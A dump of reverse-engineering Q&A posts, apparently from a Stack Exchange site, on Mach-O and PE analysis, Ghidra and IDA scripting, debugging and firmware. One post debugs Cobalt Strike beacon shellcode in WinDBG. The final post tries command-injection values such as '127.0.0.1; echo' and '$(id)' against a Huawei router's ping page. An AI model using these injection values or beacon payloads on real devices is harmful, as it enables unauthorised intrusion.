+ff641a07f6fdb
+ff641a07f8f7a
+ff641a07f2f44
+ff641a07f8efd
+ff641a07f2ec3
+ff641a07fce62
+ff641a07f6e5c
+ff641a07fb1ed
+ff641a07f11d3
+ff641a07ff172
+ff641a07f514c
+
+Edit: +Some more samples: +https://pastebin.com/qXgFqKZa (note that it was a long capture and some codes may have been missed) +and one sample captured with inspectrum + +" +['mach-o']," Title: Is there a way to replace the load method in an objective c class with a stub method in a mach-o binary?Body: I am learning about parsing and editing mach-o files and I am stuck on particular issue. +I am able to read the segments and sections within a binary which is a test iOS app written in Objective-C. I am looking for a way to replace the load method in a class with a stub method e.g my_load in another class within the same binary. Is there a way to do this? Any help would be much appreciated. +" +"['pe', 'static-analysis']"," Title: Lifting exported function instructions in PE filesBody: I am trying to automate analysis of instructions within exported functions for a .DLL and need to be able to lift the first few instructions for the entry point of each exported function statically from disk without using a debugger. +I retrieve the correct RVA for each exported function (verified by objdump's results): +
     $objdump -p examples/MathLibrary.dll
+     ...
+     Export Table:
+     DLL name: MathLibrary.dll
+     Ordinal base: 1
+     Ordinal      RVA  Name
+          1  0x11212  fibonacci_current
+          2  0x1118b  fibonacci_index
+          3  0x1104b  fibonacci_init
+          4  0x11307  fibonacci_next
+
+Then calculate what seems like the correct file offset using: +
   fo = exports.address - section.VirtualAddress + section.PointerToRawData
+
+Section refers to .text. Which gives me: +
    1 RVA 0x11212 'fibonacci_current' file offset:  1554
+    Seeking to offset: 1554 to read 48 bytes.
+    Read 14 bytes 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
+    2 0x1118b 'fibonacci_index' file offset:  1419
+    Seeking to offset: 1419 to read 48 bytes.
+    Read 5 bytes 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
+    3 0x1104b 'fibonacci_init' file offset:  1099
+    Seeking to offset: 1099 to read 48 bytes.
+    Read 37 bytes 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
+    4 0x11307 'fibonacci_next' file offset:  1799
+    Seeking to offset: 1799 to read 48 bytes.
+    Read 9 bytes 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
+
+I'm getting what looks like valid offsets that are located within the .text section however, the bytes there are all 00. This is verified by objdump. +
    0001420      0000    0000    0000    0000    0000    0000    0040    4000
+    0001440      722e    6c65    636f    0000    05bb    0000    f000    0001
+    0001460      0600    0000    9200    0000    0000    0000    0000    0000
+    0001500      0000    0000    0040    4200    0000    0000    0000    0000
+    0001520      0000    0000    0000    0000    0000    0000    0000    0000
+    *
+    0002000      cccc    cccc    e9cc    4173    0000    71e9    002e    e900
+
+What am I doing wrong? Is this not where the code is actually located? They aren't being forwarded, so the code is there somewhere. Thanks for your help. +" +"['binary-analysis', 'binary', 'exploit', 'binary-diagnosis']"," Title: Advanced Binary Exploitation CTFBody: I wanted to ask your assistance: Where can I find advanced ctfs (that hopefully contain solutions) regarding binary/kernel exploitation? I am interested on finding x86_64 linux/windows/arm64 that consist of userland or kernel(lkm or drivers) exploitation (overcoming modern mitigations such as "shadow stacks" or different control flow guards(cfg/acg/others..) and grooming tricks and similar are huge pluses). +What I am mostly looking for is ctfs that imitate mundane situations or applications, including but not limited to: common errors, uaf (even double free), bad custom memory layouts(for instance custom mmap implementations), different leaks, finding primitives, disclosures and similar -- all of it either in userland or appropriate kernel level. +Sadly I could not find anything that consists of what I call "modern world", with modern mitigations that is not aimed at basic corrupting the stack/heap, basic usage of tools or concepts, or anything that basically teaches the basics (corrupting/polluting, got/plt overwrites, simple ropper and similar basics - but something that goes beyond that, that can teach "real skills"). I am looking to expand my knowledge and I am pretty sure your answers would help a lot of people that are wondering about the same too, and couldn't find what they were looking for. +Note: I mentioned solutions because the amount of knowledge and tricks that can be taught just by reading a write up is huge, especially way of thinking, grooming, way of reversing and approaching the situation and similar. I learn a lot from reading write ups but I couldn't find ones that are above the "beginner" level. +I am looking to expand my knowledge and I am pretty sure your answers would help a lot of people that are wondering about the same too, and couldn't find what they were looking for. +Just to be clear again: I am not referring to dep/aslr/canaries and similar(those were awesome a decade ago). What I am looking for is the step after that. +Doesn't have to be binary, can be firmware, lkm, drivers, handles/pipes and similar. +Thank you very much and have a great week. +" +['ghidra']," Title: CC3200 Firmware - gaining information about - Registers / Memory (Ghidra) - SVD / CMSISBody: I am currently reversing a firmware for the TI CC3200 (ARM Cortex M4) via ghidra. +For other ARM chips I have learned that I may use a SVD-Loader to load all information about the registers and memory into ghidra. As it seems there are no SVD files available to import the information automatically. +Also adding the ROM functions provided by the driverlib would significantly help. +Are there different ways to load that information into ghidra (without doing it manually using the tech reference). What kind of files I could extract that information from? +" +"['ida', 'debugging', 'windbg', 'shellcode', 'metasploit']"," Title: WinDBG Hung on Shellcode ExecutionBody: I've been trying to debug a piece of simple shellcode with Windbg. To go over the steps I took, I allocated a buffer for the shellcode with .foreach /pS 5 ( register { .dvalloc 400 } ) { r @$t0 = register } and saved the address in the pseudo register $t0. Later I copied the shellcode with eb @$t0 FC 48 83 E4...[REDACTED]. Then changed the rip value to point to the start address of the shellcode buffer by doing r @$ip=@$t0 and then simply resumed the program execution with g. +The problem is the shellcode gets hung up on the wininet!HttpSendRequestA API call everytime. +The stack trace after manually breaking from the execution: +
00 000000e0f0efea28 00007ffc24811e93 ntdll!NtWaitForSingleObject+0x14
+01 000000e0f0efea30 00007ffc11ba4f64 KERNELBASE!WaitForSingleObjectEx+0x93
+02 000000e0f0efead0 00007ffc11b9fba7 wininet!CPendingSyncCall::HandlePendingSync_AppHangIsAppBugForCallingWinInetSyncOnUIThread+0xe0
+03 000000e0f0efeb00 00007ffc11b47af6 wininet!INTERNET_HANDLE_OBJECT::HandlePendingSync+0x33
+04 000000e0f0efeb30 00007ffc11b023a5 wininet!HttpWrapSendRequest+0x9a256
+05 000000e0f0efecd0 00007ffc11b02318 wininet!InternalHttpSendRequestA+0x5d
+06 000000e0f0efed40 000002a7d873018c wininet!HttpSendRequestA+0x58
+07 000000e0f0efede0 000002a7d87301f9 0x000002a7d873018c
+08 000000e0f0efede8 000002a7d873000a 0x000002a7d87301f9
+09 000000e0f0efedf0 0000000000cc000c 0x000002a7d873000a
+
+NOTE: The weird part is the shellcode actually works as it supposed to whenever I debug it in the windbg plugin in IDA PRO 7.5 (I do everything exactly the same in the plugin console as I did in the windbg binary console). +As for the shellcode it's a simple off-the-shelf cobaltstrike http beacon (The same error occurs with any type of reverse shell shellcodes). + +It traverses InMemoryOrderModuleList structure from PEB, resolves the api names from hashes and simply executes them in order. +I've never debugged a cobaltstrike beacon directly in windbg before. +NOTE: I don't get any hangs or errors when I try to debug a simple x64 calculator shellcode the same way +" +['ida']," Title: Exporting C++ types from database to anotherBody: I have a pe dll binary with it's pdb file. I'd want to use this file's types in another database. +I tried to export the types using "Create C header file" and "Dump typeinfo to IDC file", but neither worked properly. Trying to import the generated C header file to the second database fails due to templates. The exported IDC file doesn't include all of the types present in the first database. +Seems like IDA doesn't support importing types that use C++ features, like templates. I was wondering if there's any way to work around this. I wouldn't want to start manually renaming and importing the types since there's thousands of them. +" +"['decompilation', 'ghidra', 'script']"," Title: Ghidra SDK Register TypeFlags are not populatedBody: I am using the Ghidra P-Code in a Ghidra script and I am looking for an architecture-independent way to decide if a register used in a P-Code Op is the Stack or the Base Pointer (basically making the decision without using the name of the register, since that depends on the architecture). +So for instance if there is this P-Code Op: +INT_ADD (register, 0x20, 8) , (const, 0xffffffffffffffc8, 8) +The first parameter is in reality RSP because this operation calculates the offset of a variable on the stack. So my goal is to find an architecture-independent way to ask Ghidra whether this register is the stack or the base pointer. +I looked at the Register class in Ghidra and it seems that Register instances should have an attribute called typeFlags, that could be used to ask what kind of register it is: +
public class Register implements java.io.Serializable, Comparable<Register> {
+
+    private static final List<String> EMPTY_COLLECTION = new ArrayList<>();
+
+    private final static long serialVersionUID = 1;
+    public final static int TYPE_NONE = 0; // nothing special
+    public final static int TYPE_FP = 1; // frame pointer
+    public final static int TYPE_SP = 2; // stack pointer
+    public final static int TYPE_PC = 4; // program counter
+    public final static int TYPE_CONTEXT = 8; // processor state
+    public final static int TYPE_ZERO = 16; // Register is always zero
+    public final static int TYPE_HIDDEN = 32; // Register should not be exposed to users.
+    public final static int TYPE_DOES_NOT_FOLLOW_FLOW = 64; // Register value should NOT follow disassembly flow
+
+    /** Register can be used in SIMD operations **/
+    public final static int TYPE_VECTOR = 128;
+
+    private String name;
+    private String description; // description of the register
+    private Address address; // smallest address containing bits for this register
+    private int numBytes;
+    private int leastSigBit;
+    private int bitLength;
+    private int typeFlags; // type of register
+    private boolean bigEndian;
+
+So I wrote a function that converts the Varnode to a Register instance using the 'Language' of the analysed binary and checks the typeFlags: +
        /*
+         *  Checks if the varnode is a stack or a frame pointer, depending on the language in use
+         */
+        public Boolean isStackRegister(Varnode input) {
+            if (input.isRegister()) {
+                Register reg = language.getRegister(input.getAddress(), input.getSize());
+                printf("XXX %s %s\n", language.toString(), input.toString(language));
+                int typeFlags = reg.getTypeFlags();
+                // check if the register is either a frame pointer or a stack pointer
+                if ((typeFlags & Register.TYPE_SP) != 0 || (typeFlags & Register.TYPE_FP) != 0) {
+                    return true;
+                }
+            }
+            return false;           
+        }
+
+I was expecting the typeFlags attribute to be correctly populated, however, in the debugger, I see that it is set to 0 even if it is the RSP: + +For me, this feels like a Ghidra bug or a not implemented feature. +Anybody know how to get the typeFlags working, or any other way to check whether a register is a Stack or Base pointer, without using its name? +" +"['binary-analysis', 'idapython', 'pe', 'idapro-sdk', 'ida-plugin']"," Title: IDAPython, parse IDA DB as PE fileBody: +I have buffer loaded into IDA with IDAPython in a costume loader script, I want to now to be parsed as a PE, or in fact, it would be better if IDA will try to reparse it as a PE, is it possible without opening a new IDA instance / another DB? +As you can see I have the right raw data loaded, but for some reason, there is no processing on the data that a loaded. +" +['windows']," Title: .dll file pull source from compiled study?Body: Forgive me, I’m new, and not a programmer, but I am needing to see if this is possible. +I have a study in my trading platform I had built a long time ago, lost the original, but have the compiled .dll file. +Is there anyway to go about extracting the code, so I can update my study? +
+It’s a .dll file that’s compiled, as a study. Basically in my program, I load the .dll, and it loads the study to do what the code it programmed to do. +Basically, I have a stock chart, with a custom .dll to plot lines at certain levels etc., the platform supports .dll compiled studies (like a plugin to do something within a program) they do this, so traders can write custom strategies/stuff for their own trading. +The guy I hired a long time ago to code this study, is now gone, so I don’t have the source code to update the study with new stuff, just the compiled .dll. +Thanks in advance for your help, I will appreciate it! +" +['disassemblers']," Title: Disassembler with pixel/bitmap viewBody: I am looking for an ARM disassembler that runs on Linux that has a graphic "pixel" or "bitmap" view like the one shown in the pictures below: + + +I am reverse engineering some old Nokia firmwares using the ARM7TDMI, and I've been using for several months a disassembler called WinARM by Digicroxx seemingly made for these phones. It has a "Bitmap View" which shows each bit as a black or white pixel, which I find very useful when looking for certain memory regions with graphics. However, it is quite slow and buggy, and only works on Windows, so I'm stuck booting into a virtual machine to use this old software. +I have tried both Ghidra and Cutter, and have looked into IDA Pro, Hopper, and Binary Ninja, but have been unable to find such a feature, and I am unsure what this type of feature would be called, if it even has a name. +Do any modern disassemblers with ARM support (specifically ARMv4T) that run on Linux come with such a view, or is there a program that would allow me to view the binary file as an interactive graphic with the machine code alongside it? +" +"['ida', 'radare2', 'ghidra']"," Title: Ghidra + IDA cant detect a string but Radare2 canBody: Im new to reverse engineering, and ive trying Ghidra, IDA (Freeware) and Radare2 with a simple CrackMe, the problem is, both Ghidra and IDA couldnt detect a string while Radare2 (Using Cutter GUI) could figure out the name. +I used default analysis for all 3. +Is there something im missing ? because even the 'strings' command can actually find the string im looking for. +Ghidra: + +IDA: + +Radare2 (Cutter): + +" +"['hex', 'crc', 'packet', 'unknown-data', 'checksum']"," Title: how to calculate a byte valueBody: We are reversing the method of creating a byte array packet. +These values are obtained by serialport monitor from mediatek metamode usb port.The values of both packets are changed by changing the imei. +example imei : 534534324234239 +
 55 00 38 D0 40 01 34 00 03 00 00 00 00 00 00 00
+ C8 00 00 00 01 00 00 00 0E 00 12 00 01 00 0E 00
+ 22 00 18 00 10 EF 01 00 01 00 0A 00 01 00 00 00
+ 00 00 35 54 43 23 24 43 32 F9 00 00 72
+
+Packet2 is : +
55 00 08 D0 00 FF 04 00 00 00 C2 75 C1
+
+We have trouble making packet2, we know last "C1" hex is XOR and the rest are fixed values and do not change.We just do not know by what calculations the value of "C2" in packet 2 was obtained. +" +"['decompilation', 'c', 'functions', 'dos']"," Title: Reverse engineering mode X VGA function(s)Body: I'm trying to reverse engineer an old DOS game. At the moment I'm stuck at a function that implements some functionality of VGA running in mode X. My issue is that any of the available sample codes on how to use mode X are often very similar to the one of interest, but never identical. That's why I'm having trouble putting all the pieces together and understanding the context of the function. +Reading about all the different registers/ports gave me a basic understanding, but still I can not figure out the actual intention of the function as a whole. Maybe someone with more experience on that topic could help me figure it out, even if it's just some hints on where to get the right pieces of information. +Thanks a lot in advance! Here is the function in question: +
void __cdecl mode12_init_maybe(int width, int height)
+{
+  unsigned __int8 v2; // al
+  char *v3; // esi
+  unsigned __int16 v4; // ax
+  signed int v5; // ecx
+  unsigned __int8 v6; // al
+  unsigned __int8 inbyteData; // al
+  unsigned __int8 v8; // al
+
+  if ( width == 320 )
+  {
+    if ( height == 200 )                      
+    {
+      __outbyte(0x3C4u, 4u);                    // set memory mode
+      inbyteData = __inbyte(0x3C5u);
+      __outbyte(0x3C5u, inbyteData & 0xF7);
+      __outword(0x3C4u, 0xF02u);                // set map mask to all 4 planes
+      memset((void *)0xA0000, 0, 0xFFFCu);
+      __outbyte(0x3D4u, 0x11u);                 // Vertical Retrace End
+      v8 = __inbyte(0x3D5u);
+      __outbyte(0x3D5u, v8 & 0x7F);
+      __outword(0x3D4u, 0xC317u);               // turn on byte mode
+      __outword(0x3D4u, 0x14u);                 // Underline Location; turn off long mode
+    }
+  }
+  else if ( width == 360 && height == 240 )
+  {
+    __outbyte(0x3D4u, 0x11u);
+    v2 = __inbyte(0x3D5u);
+    __outbyte(0x3D5u, v2 & 0x7F);
+    __outbyte(0x3C4u, 4u);
+    __outbyte(0x3C5u, 6u);
+    _disable();
+    __outbyte(0x3C4u, 0);
+    __outbyte(0x3C5u, 1u);
+    __outbyte(0x3C2u, 0xE7u);
+    __outbyte(0x3C4u, 0);
+    __outbyte(0x3C5u, 3u);
+    _enable();
+    __outword(0x3C4u, 0xF02u);
+    memset((void *)0xA0000, 0, 65532u);
+    v3 = &byte_318EF;
+    LOBYTE(v4) = 0;
+    v5 = 24;
+    do
+    {
+      if ( *v3 != -1 )
+      {
+        HIBYTE(v4) = *v3;
+        __outword(0x3D4u, v4);
+      }
+      ++v3;
+      LOBYTE(v4) = v4 + 1;
+      --v5;
+    }
+    while ( v5 );
+    __outbyte(0x3D4u, 0x11u);
+    v6 = __inbyte(0x3D5u);
+    __outbyte(0x3D5u, v6 | 0x80);
+  }
+}
+
+The content of byte_318EF is as follows: +
cseg02:000318EF     byte_318EF      db 6Bh, 59h, 5Ah, 8Eh, 5Eh, 8Ah, 0Dh, 3Eh, 0FFh, 0C0h
+cseg02:000318EF                     db 6 dup(0FFh), 0EAh, 0ACh, 0DFh, 2Dh, 0, 0E7h, 6, 0E3h
+
+" +"['debugging', 'ghidra', 'x64dbg']"," Title: With ghidra/x64dbg sync, how to display dynamic values in ghidra's decompile window?Body: I'm reversing a program and a library without debugging symbols. I'm using x64dbg to break at specific regions and observe what is happening at runtime, and annotate the decompile version in ghidra. +I'm using ret-sync to synchronize horizon between x64dbg and ghidra. However, it's often addresses and not values that are directly visible in x64dbg, and only the horizon is sync in ghidra, from x64dbg as the program goes on. +I would like to: +
    +
  1. see the variables values in ghidra's decompile window: as the program goes and all the values that were allocated between two datetimes in the execution; how can I do this ? For instance when a pointer change of address I would like to follow the "content" directly, not "caring/focusing first" about/on the address. +
  2. +
  3. in the case of arrays and struct, from the address, how can I have all the values displayed, as if I was debugging from Visual Studio for instance ? (example) +
  4. +
  5. how can I label back the renamed variables in ghidra back in x64dbg ? +
  6. +
+" +"['disassembly', 'binary-analysis', 'decompilation', 'ghidra']"," Title: How to export arm64 and x86-64 binary into one?Body: I am trying to export a binary that contains both AARCH64-64 and x86-64 in Ghidra. I only opened the x86-64 counterpart to perform some changes. +When I tried to export it, it exported a .bin file that I can't replace with the original Mach-O universal binary. How do I go about exporting the patched x86-64 as one universal binary in Ghidra? +Original Binary: + +Exported x86-64 Binary: + +" +"['memory', 'qemu']"," Title: error shmat function when simulating MIPS file in QemuBody: I want to run (simulating) MIPS file with Qemu: +
$file httpd
+httpd: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
+
+chroot to rootfs and then run my file: + +i found oalShm_init function into libcms_core.so library and decompile it with ghidra: + +first httpd file use shmget for create shard memory and then use shamt for give access to this space; +but Qemu error in this function and can't mapping or can't run it +how to i can resolve this problem? +" +['assembly']," Title: Adding my own assembly code to x64 .exeBody: I have assembly code like this: +
   142cccc0c c7 43 18        MOV        dword ptr [RBX + 0x18],0x4000
+             00 40 00 00
+   142cccc13 e8 a8 79        CALL       FUN_141a845c0                                    undefined FUN_141a845c0()
+             db fe
+   142cccc18 8b f0           MOV        ESI,EAX
+
+It's a part of some function. I'd like to add my own function call after that and pass the return value (I guess it's stored in ESI). +I saw this: adding instructions in IDA, but I'm wondering if there's any easier method? +" +"['debugging', 'qemu']"," Title: QEMU with GDB: Stepping Instruction causes Windows VM BSODBody: I'm currently analyzing a piece of software inside a Windows 10 QEMU virtual machine which is connected to a remote GDB debugger. I have set breakpoints to audit what the application is doing. +I have set breakpoints in GDB of the applications' OEP and some of the RIP addresses (is that even correct term?) of it's functions. However, this is where I'm tripping over. +When these functions fire, GDB pauses QEMU and I can see that the breakpoint was hit. QEMU's virtual machine is paused and I can do things like save memory dump and whatnot via the QEMU Monitor. However I wanted to see, for example, what the next address is that the function calls. So I use si to step to the next instruction. This is literally Russian roulette - it will sometimes step onto the next instruction, or cause the Win10 VM to freeze and then crash to a BSOD with either KERNEL_EXCEPTION_NOT_HANDLED or SERVICE_EXCEPTION_NOT_HANDLED, etc. +I was reading somewhere that I need to tell Windows to relax its internal stack protection by enabling "Debugging Mode" so it doesn't BSOD when I use step instruction. Is this correct or am I using the wrong GDB command that's causing Windows to BSOD? +Cheers. +" +['obfuscation']," Title: What is the obfuscation method utilised in Playdead's 'LIMBO' video game?Body: The game uses Unity3D engine, perhaps with a custom render pipeline. Reports have been made, it is not possible to disassemble it. How did they achieve that? +" +"['ida', 'disassembly', 'dll', 'functions', 'libraries']"," Title: Cannot disassemble exported functionsBody: I want to disassemble a function from Kernel32.dll to see what it does, but every single function I try looks like this in the decompiler: +
Function:
+jmp ds:Function_0
+
+Where is the function? Function_0 seems to be some random dword value. +This happens with both the 32 and 64 bit versions of kernel32.dll i got from systemwow64 and system32 respectively. +How can i diassemble a function exported by kernel32? +" +"['x86-64', 'objdump']"," Title: objdump says ""64-bit address is disabled""Body: I've run into an issue with the MinGW build of objdump on Windows. Consider this very simple input file: +
48 bf 88 77 66 55 44 33 22 11
+
+I want to disassemble this as Intel x86-64 raw machine code. I am expecting this to show a single instruction: +
movabs rdi, 0x1122334455667788
+
+I'm passing -mi386:x86-64 to objdump but it just gives me this error message. For comparison, with -mi386 it works but is obviously the wrong architecture: +
C:\test> objdump.exe -D -b binary -mi386 test.raw
+
+test.raw:     file format binary
+
+
+Disassembly of section .data:
+
+00000000 <.data>:
+   0:   48                      dec    %eax
+   1:   bf 88 77 66 55          mov    $0x55667788,%edi
+   6:   44                      inc    %esp
+   7:   33 22                   xor    (%edx),%esp
+   9:   11                      .byte 0x11
+
+Versus: +
C:\test> objdump.exe -D -b binary -mi386:x86-64 test.raw
+
+test.raw:     file format binary
+
+
+Disassembly of section .data:
+
+00000000 <.data>:
+   0:   64-bit address is disabled
+
+Does the MinGW build of objdump not support this architecture? +" +"['ida', 'pe', 'hexrays']"," Title: Hex-Rays not properly showing stringsBody: Here's the difference between Hex_Rays and the debugger: + +Note that I've synchronized the views, so they are showing the same operations in both the debugger and the decompiler. I've tried Edit -> Plugins -> Hex-Rays Decompiler -> Display string literal casts but to no avail. Anyone has ever faced this problem? +I'm working on IDA Pro 7.5 +" +"['ghidra', 'dll', 'dynamic-linking', 'shared-object']"," Title: How do I execute ""File -> Add To Program..."" in a Ghidra script?Body: I'm reversing an old video game with large number of shared libraries, and in order to reference them all correctly (via "thunk" functions?) I think I need to import all of the raw files into the same program tree. I've tried using analyzeHeadless to import all of the shared libraries into the project, but I don't see way to place them into an existing program using that tool (it instead creates a new program for each file). Let me know if I'm doing something wrong. +" +"['disassembly', 'debugging']"," Title: How to debug an application (exe) freeze and crash?Body: I have an app (and I don't know the source code), that freeze and crash everytime it loses focus (but the music continue). I've tried to debug it using windbg but it doesn't change anything, and I don't know how to log the freeze/crash properly. +How can i know what happened ? In term of assembly instructions or memory ? +CONTEXT : + +UPDATE : +Procdump + Windbg analysis (The app didn't crashed under procdump, it only crashed after stopping procdump process) +
ADDITIONAL_XML: 1
+
+OS_BUILD_LAYERS: 1
+
+COMMENT:  
+*** procdump.exe  -e -ma -t -w "name.exe"
+*** Process termination
+
+NTGLOBALFLAG:  0
+
+PROCESS_BAM_CURRENT_THROTTLED: 0
+
+PROCESS_BAM_PREVIOUS_THROTTLED: 0
+
+APPLICATION_VERIFIER_FLAGS:  0
+
+EXCEPTION_RECORD:  (.exr -1)
+ExceptionAddress: 00000000
+   ExceptionCode: 80000003 (Break instruction exception)
+  ExceptionFlags: 00000000
+NumberParameters: 0
+
+FAULTING_THREAD:  00001f64
+
+PROCESS_NAME:  name.exe
+
+ERROR_CODE: (NTSTATUS) 0x80000003 - {EXCEPTION}  Breakpoint  A breakpoint has been reached.
+
+EXCEPTION_CODE_STR:  80000003
+
+STACK_TEXT:  
+1d63fdb0 77131030     000002e4 06ff3150 00000010 ntdll!NtWaitForWorkViaWorkerFactory+0xc
+1d63ff70 76abfa29     00b39e00 76abfa10 1d63ffdc ntdll!TppWorkerThread+0x2a0
+1d63ff80 771475f4     00b39e00 26f0b456 00000000 kernel32!BaseThreadInitThunk+0x19
+1d63ffdc 771475c4     ffffffff 77167350 00000000 ntdll!__RtlUserThreadStart+0x2f
+1d63ffec 00000000     77130d90 00b39e00 00000000 ntdll!_RtlUserThreadStart+0x1b
+
+
+SYMBOL_NAME:  ntdll!NtWaitForWorkViaWorkerFactory+c
+
+MODULE_NAME: ntdll
+
+IMAGE_NAME:  ntdll.dll
+
+STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb
+
+FAILURE_BUCKET_ID:  BREAKPOINT_80000003_ntdll.dll!NtWaitForWorkViaWorkerFactory
+
+OS_VERSION:  10.0.19041.1
+
+BUILDLAB_STR:  vb_release
+
+OSPLATFORM_TYPE:  x86
+
+OSNAME:  Windows 10
+
+IMAGE_VERSION:  6.2.19041.662
+
+FAILURE_ID_HASH:  {bb9287bd-f940-f1d0-c927-6d6da8a242a3}
+
+Followup:     MachineOwner
+
+Update 2 : +It seems that only the graphic content freeze. The sounds is okay +Update 3 : +Freeze when whole computer when fullscreen. Cannot access to any other window, WIN key show taskbar but nothing happen when trying to switch app even with WIN+TAB +Update 4 : +Seems to be related to Nvidia drivers +" +"['assembly', 'encryption', 'obfuscation', 'c#', 'protection']"," Title: Best way to protect source code of exe that being loaded by Assembly.Load methodBody: I am protecting an exe that being loaded by Assembly.Load... This makes everything difficult because most obfuscators causing it to not work properly or not load at all. I used confuserEx Ameteurz modded its working with max settings but I don't like protection too easy to unpack. Right now I am using .net reactor 6.5 its good but messagebox annoying and I can't trust completely I think someone can deobfuscate it. What do you suggest? +" +['radare2']," Title: ""rabin2 -E"" and ""afll"" no output for an exe fileBody:
    $ rabin2 -I test.exe
+    arch     x86
+    baddr    0x400000
+    binsz    3229424
+    bintype  pe
+    bits     32
+    canary   false
+    retguard false
+    class    PE32
+    cmp.csum 0x0031d950
+    compiled Fri Jun 19 18:22:17 1992
+    crypto   false
+    endian   little
+    havecode true
+    hdr.csum 0x0031d950
+    laddr    0x0
+    lang     c
+    linenum  true
+    lsyms    true
+    machine  i386
+    maxopsz  16
+    minopsz  1
+    nx       false
+    os       windows
+    overlay  true
+    pcalign  0
+    pic      false
+    relocs   true
+    signed   true
+    sanitiz  false
+    static   false
+    stripped false
+    subsys   Windows GUI
+    va       true
+            
+
+
+    $ rabin2 -E test.exe
+        [Exports]
+        
+        nth paddr vaddr bind type size lib name
+        ________________________________________
+
+$ radare2 test.exe 
+ -- Enhance your graphs by increasing the size of the block and graph.depth eval variable.
+[0x0040a5f8]> afll
+[0x0040a5f8]>
+
+Can anyone say why there is no output when execute rabin2 -E test.exe and afll ? +What should I try next? +I am a total beginner, in using radare2/rabin2. +Regards. +" +"['windows', 'nasm']"," Title: far jump do not point to instruction?Body: My title is kind of ambiguous and not sure if it is true, Hence the question mark at the end. +Basically, I was trying to trace windows printf in NASM to identify "what is the last call/function that outputs the sting". Long story short after a bunch of break points and etc. I found below: +
[EIP] debug034:77126000 jmp     far ptr 33h:77126009h
+
+ +As soon as my EIP step over this line, the console outputs my string. +My work doesn't work end here. So, I tried to trace the jmp and see what it points to: + +As you can see in the image, the jmp above to point to this location/unk_77126339(after pressing d the location changed from unk_ to byte_) which is empty data (not sure, just saying because of the db) +I also tried to jump to f8a7ff41 below the jump, but that still points to emptiness. +Would you know what is going on here? or how do I jump to the next instruction of printf here? +" +"['ghidra', 'decompile']"," Title: ghidra rename failsBody: With ghidra 9.2.1 (2020 dec 15) in a decompiled dll, I can rename a variable with L. + +What am I missing ? +" +"['assembly', 'c', 'encryption', 'decryption']"," Title: Find Decryption algorithm of an encryption algorithmBody: I recently work on an algorithm that encrypt some data with 8 byte length. +I worked hard and I successful to get this algorithm, but I need decryption of this algorithm. +How I can invert it? +I guess this is a hash algorithm and I can't invert it. but I want to make sure about that. +
int tmp1 = 0;
+int tmp2 = 0;
+unsigned short int _array_1[8]={0};
+unsigned short int _array_out[8]={0};
+
+for(int j = 0 ; j <5; j++)
+        tmp1 = tmp1 * 0x40 + _array_1[j];
+    for(int j = 5; j<8; j++)
+        tmp2 = (tmp2 << 5) + _array_1[j];
+    for (int j = 0 ; j<4; j++)
+        _array_1[j] = (tmp1 >> 8*j ) & 0xFFFF ;
+    for (int j = 4 ; j<6; j++)
+        _array_1[j] = (tmp2 >> 8*(j-4) ) & 0xFFFF ;
+    _array_1[6] = 0;
+    _array_1[7] = 0;
+
+    _array_out [0] = (get_diff (_array_1[1],0x1A)) * (get_diff (_array_1[4],0x9C));
+    _array_out [1] = (get_diff (_array_1[1],0x9C)) * (get_diff (_array_1[4],0x2E));
+    _array_out [2] = (get_diff (_array_1[5],0x1A)) * (get_diff (_array_1[2],0x9C));
+    _array_out [3] = (get_diff (_array_1[5],0x9C)) * (get_diff (_array_1[2],0x2E));
+    _array_out [4] = (get_diff (_array_1[3],0x1A)) * (get_diff (_array_1[0],0x9C));
+    _array_out [5] = (get_diff (_array_1[3],0x9C)) * (get_diff (_array_1[0],0x2E));
+
+And +
uint8_t get_diff(uint8_t a, uint8_t b)
+{
+    uint8_t result =0;
+    result = (a> b )?  (a-b) : (b-a);
+    return result;
+}
+
+Edited:
+According to the lan comment I edited my question and some data such as tmp1 and tmp2 added.
+Also, I will present an example as instance.
+Example
+Input = 0x01, 0x05, 0x00, 0x0C, 0x1B, 0x14, 0x18, 0x1A
+Output = 0xAE, 0xF4, 0x48, 0x6A, 0x99, 0x81
+Thanks. +" +['gdb']," Title: Define operations to do in specific breakpoints using GDBBody: In gdbinit I defined some breakpoints. +How can I do that when specific breakpoint called I want to run x/s $r1 ? +" +"['disassembly', 'binary-analysis', 'static-analysis']"," Title: How to figure out functionality when doing Static Code Analysis in ASM?Body: When doing Static code analysis on a disassembled app, I usually end up seeing many calls to registers (CALL EAX for example), which is constructed in runtime, which leaves me clueless on how to decide/figure out what does the code do when the call is done. +I was wondering how do you guys go through this in extreme cases where dynamic analysis might not be an option. +" +"['injection', 'command-line', 'router']"," Title: Recreating ping command injection using curl instead using web page on Huawei routerBody: I have an ARM based Huawei router and Im trying to do injection vulnerability on page under diagnostics where's "ping" feature is. So first I tried this command -c 1 127.0.0.1 and it worked +
--- DNS Statistics ---
+Server Response = Non-Existent Domain
+WanIP = xxx.xxx.xxx.xxx
+Name = -c 1 127.0.0.1
+Address = -
+Aliases = -
+Time = 15ms
+--- Ping Statistics ---
+Operation failed.
+
+then I tried this command 127.0.0.1; echo -c 4 but I get +
Test failed.
+--- Ping Statistics ---
+Operation failed.
+
+and after some more google-ing I found this command ping -c 5 "$(id)" and when I click on start ping` it seams that's get stuck in some loop +I suspect that maybe shell is open, here is how it looks + +So I want to recreate sending that command with curl, I created mine curl like this + +I think maintenancend.cgi is resposable for ping requests. In zip you will find Diagnose Ping Configuration.html and ARM web utility which is responsible for +.cgi web requests +Edit: +So I made request directly to my web ping page and it look's like this + +first button should be start and second stop but they are in java so I need a way to refer to them by name. Also I found example of POST method on web end here it is +
curl -X POST -F 'name=linuxize' -F 'email=linuxize@example.com' https://example.com/contact.php
+
